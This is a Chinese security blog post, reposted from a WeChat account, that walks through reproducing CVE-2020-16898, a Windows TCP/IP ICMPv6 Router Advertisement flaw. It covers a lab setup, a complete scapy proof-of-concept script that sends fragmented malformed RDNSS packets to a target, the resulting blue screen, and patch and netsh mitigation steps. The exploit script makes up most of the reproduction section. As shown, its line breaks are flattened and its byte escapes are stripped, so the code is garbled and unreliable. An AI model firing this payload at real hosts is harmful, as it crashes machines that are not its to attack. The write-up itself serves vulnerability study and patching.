CVE-2020-16898TCP/IP远程代码执行漏洞复现

admin 2022年4月19日23:12:15评论44 views字数 2258阅读7分31秒阅读模式

一、漏洞介绍

         该漏洞主要是由于Windows TCP/IP堆栈在处理IMCPv6 Router Advertisement(路由通告)数据包时存在漏洞,远程攻击者通过构造特制的ICMPv6 Router Advertisement(路由通告)数据包时,处理逻辑存在漏洞,导致可以攻击者可以进行远程代码执行。成功利用该漏洞的攻击者可以在目标主机或服务器上执行任意代码。但是该漏洞必须要目标主机启用IPv6协议才可以,否则无法进行利用。

二、影响版本

Microsoft Windows 10 1709

Microsoft Windows 10 1803

Microsoft Windows 10 1809

Microsoft Windows 10 1903

Microsoft Windows 10 1909

Microsoft Windows 10 2004

Microsoft Windows Server 2019

Microsoft Windows Server, version 1903

Microsoft Windows Server, version 1909

Microsoft Windows Server, version 2004

三、漏洞复现

0x01 环境搭建

(1):虚拟机开启IPv6

CVE-2020-16898TCP/IP远程代码执行漏洞复现

(2):关闭目标主机防火墙

很重要的一步,两台主机一定要互通,因此需要关闭目标主机防火墙。否则无法ping通。

CVE-2020-16898TCP/IP远程代码执行漏洞复现

CVE-2020-16898TCP/IP远程代码执行漏洞复现

(3):攻击者主机IP(kali2018):

IPv4:192.168.223.160

IPv6:fd15:4ba5:5a2b:1008:20c:29ff:fe62:aae

CVE-2020-16898TCP/IP远程代码执行漏洞复现

目标主机IP(虚拟机):

IPv4:192.168.223.179

IPv6:fd15:4ba5:5a2b:1008:2060:1ba4:e672:9966

CVE-2020-16898TCP/IP远程代码执行漏洞复现

(4):查看目标主机系统版本

CVE-2020-16898TCP/IP远程代码执行漏洞复现

主机版本号是1909,在受害主机影响范围之内。

0x02 漏洞复现

(1):payload如下

from scapy.all import * from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6   v6_dst = "fd15:4ba5:5a2b:1008:2060:1ba4:e672:9966" v6_src = "fe80::3d6b:a8c1:521b:b1c7%23"   p_test_half = 'A'.encode()*8 + b"x18x30" + b"xFFx18" p_test = p_test_half + 'A'.encode()*4   c = ICMPv6NDOptEFA()   e = ICMPv6NDOptRDNSS() e.len = 21 e.dns = [ "AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ] aaa = ICMPv6NDOptRDNSS() aaa.len = 8 pkt = ICMPv6ND_RA() / aaa /        Raw(load='A'.encode()*16*2 + p_test_half + b"x18xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e   p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/                IPv6ExtHdrFragment()/pkt   l=fragment6(p_test_frag, 200)   for p in l:     send(p)

(2):修改目标主机和本机IPv6

CVE-2020-16898TCP/IP远程代码执行漏洞复现

(3):执行payload

python3 CVE-2020-16898-poc.py

   注意:需要使用python3.7版本,如果是使用python3.9版本可能会报错。(本人是这样的)

CVE-2020-16898TCP/IP远程代码执行漏洞复现

(4):目标主机蓝屏

CVE-2020-16898TCP/IP远程代码执行漏洞复现

四、修复建议

0x01 打官方补丁

补丁地址如下:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

0x02 临时方案

(1):检查所有网络IPv6接口的列表以及相应的索引号

netsh int ipv6 sh int

CVE-2020-16898TCP/IP远程代码执行漏洞复现

(2):确认网络接口的RDNSS功能开启情况

netsh int ipv6 sh int 6

CVE-2020-16898TCP/IP远程代码执行漏洞复现

(3):关闭RDNSS功能

netsh int ipv6 set int 6 rabaseddnsconfig=disable

CVE-2020-16898TCP/IP远程代码执行漏洞复现

(4):再次确认接口的RDNSS功能开启情况

netsh int ipv6 sh int 6

CVE-2020-16898TCP/IP远程代码执行漏洞复现

CVE-2020-16898TCP/IP远程代码执行漏洞复现

原文始发于微信公众号(想走安全的小白):CVE-2020-16898TCP/IP远程代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月19日23:12:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-16898TCP/IP远程代码执行漏洞复现http://cn-sec.com/archives/886492.html

发表评论

匿名网友 填写信息